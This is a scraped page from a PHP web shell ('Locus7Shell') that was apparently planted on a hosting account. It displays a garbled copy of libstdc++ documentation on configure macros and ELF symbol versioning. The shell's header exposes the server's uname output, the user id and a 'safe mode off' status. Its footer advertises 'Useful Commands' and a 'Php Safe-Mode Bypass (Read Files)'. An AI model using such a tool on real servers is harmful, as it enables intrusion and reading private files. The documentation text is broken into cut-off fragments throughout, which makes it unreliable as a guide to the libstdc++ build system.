![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libstdc++-v3/doc/html/manual/ drwxr-xr-x |
Viewing file: Select action/file-type: Table of Contents
As noted previously,
certain other tools are necessary for hacking on files that
control configure ( The configure process begins the act of building libstdc++, and is started via:
The After the configure process is complete,
in the build directory starts the build process. The
Until that glorious day when we can use
Wouldn't it be nice if we could store that information in files
like configure.host, which can be modified without needing to
regenerate anything, and can even be tweaked without really
knowing how the configury all works? Perhaps break the pieces of
Alas, writing macros like
"
Most comments should use {octothorpes, shibboleths, hash marks,
pound signs, whatever} rather than "
Do not use any
The nice thing about
GLIBCXX_CHECK_HOST GLIBCXX_TOPREL_CONFIGURE GLIBCXX_CONFIGURE
All the major variable "discovery" is done here.
fragments included from elsewhere Right now, "fragments" == "the math/linkage bits". GLIBCXX_CHECK_COMPILER_FEATURES GLIBCXX_CHECK_LINKER_FEATURES GLIBCXX_CHECK_WCHAR_T_SUPPORT Next come extra compiler/linker feature tests. Wide character support was placed here because I couldn't think of another place for it. It will probably get broken apart like the math tests, because we're still disabling wchars on systems which could actually support them. GLIBCXX_CHECK_SETRLIMIT_ancilliary GLIBCXX_CHECK_SETRLIMIT GLIBCXX_CHECK_S_ISREG_OR_S_IFREG GLIBCXX_CHECK_POLL GLIBCXX_CHECK_WRITEV GLIBCXX_CONFIGURE_TESTSUITE Feature tests which only get used in one place. Here, things used only in the testsuite, plus a couple bits used in the guts of I/O. GLIBCXX_EXPORT_INCLUDES GLIBCXX_EXPORT_FLAGS GLIBCXX_EXPORT_INSTALL_INFO Installation variables, multilibs, working with the rest of the compiler. Many of the critical variables used in the makefiles are set here. GLIBGCC_ENABLE GLIBCXX_ENABLE_C99 GLIBCXX_ENABLE_CHEADERS GLIBCXX_ENABLE_CLOCALE GLIBCXX_ENABLE_CONCEPT_CHECKS GLIBCXX_ENABLE_CSTDIO GLIBCXX_ENABLE_CXX_FLAGS GLIBCXX_ENABLE_C_MBCHAR GLIBCXX_ENABLE_DEBUG GLIBCXX_ENABLE_DEBUG_FLAGS GLIBCXX_ENABLE_LONG_LONG GLIBCXX_ENABLE_PCH GLIBCXX_ENABLE_SYMVERS GLIBCXX_ENABLE_THREADS All the features which can be controlled with enable/disable configure options. Note how they're alphabetized now? Keep them like that. :-) AC_LC_MESSAGES libtool bits Things which we don't seem to use directly, but just has to be present otherwise stuff magically goes wonky.
All the
Doing these things correctly takes some extra autoconf/autom4te code, which made our macros nearly illegible. So all the ugliness is factored out into this one helper macro. Many of the macros take an argument, passed from when they are expanded in configure.ac. The argument controls the default value of the enable/disable switch. Previously, the arguments themselves had defaults. Now they don't, because that's extra complexity with zero gain for us. There are three "overloaded signatures". When reading the descriptions below, keep in mind that the brackets are autoconf's quotation characters, and that they will be stripped. Examples of just about everything occur in acinclude.m4, if you want to look. GLIBCXX_ENABLE (FEATURE, DEFAULT, HELP-ARG, HELP-STRING) GLIBCXX_ENABLE (FEATURE, DEFAULT, HELP-ARG, HELP-STRING, permit a|b|c) GLIBCXX_ENABLE (FEATURE, DEFAULT, HELP-ARG, HELP-STRING, SHELL-CODE-HANDLER)
With no other arguments, only the standard autoconf patterns are
allowed: "
The second signature takes a fifth argument, "
The third signature takes a fifth argument. It is arbitrary shell
code to execute if the user actually passes the enable/disable
option. (If the user does not, the default is used. Duh.) No
argument checking at all is done in this signature. See
The Dependent on the target supporting it, the library uses ELF symbol versioning for all exported symbols. The symbol versions are defined by a linker script that assigns a version to every symbol. The set of symbols in each version is fixed when a GCC release is made, and must not change after that. When new symbols are added to the library they must be added to a new symbol version, which must be created the first time new symbols are added after a release. Adding a new symbol version involves the following steps:
Once the new symbol version has been added you can add the names of your new symbols in the new version node: GLIBCXX_3.4.23 { # basic_string<C, T, A>::_Alloc_hider::_Alloc_hider(C*, A&&) _ZNSt7__cxx1112basic_stringI[cw]St11char_traitsI[cw]ESaI[cw]EE12_Alloc_hiderC[12]EP[cw]OS3_; } GLIBCXX_3.4.22;
You can either use mangled names, or demangled names inside an
For an example of these steps, including adjusting old patterns to be less greedy, see https://gcc.gnu.org/ml/gcc-patches/2016-07/msg01926.html and the attached patch.
If it wasn't done for the last release, you might also need to regenerate
the The build process has to make all of object files needed for static or shared libraries, but first it has to generate some include files. The general order is as follows:
|
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]-- |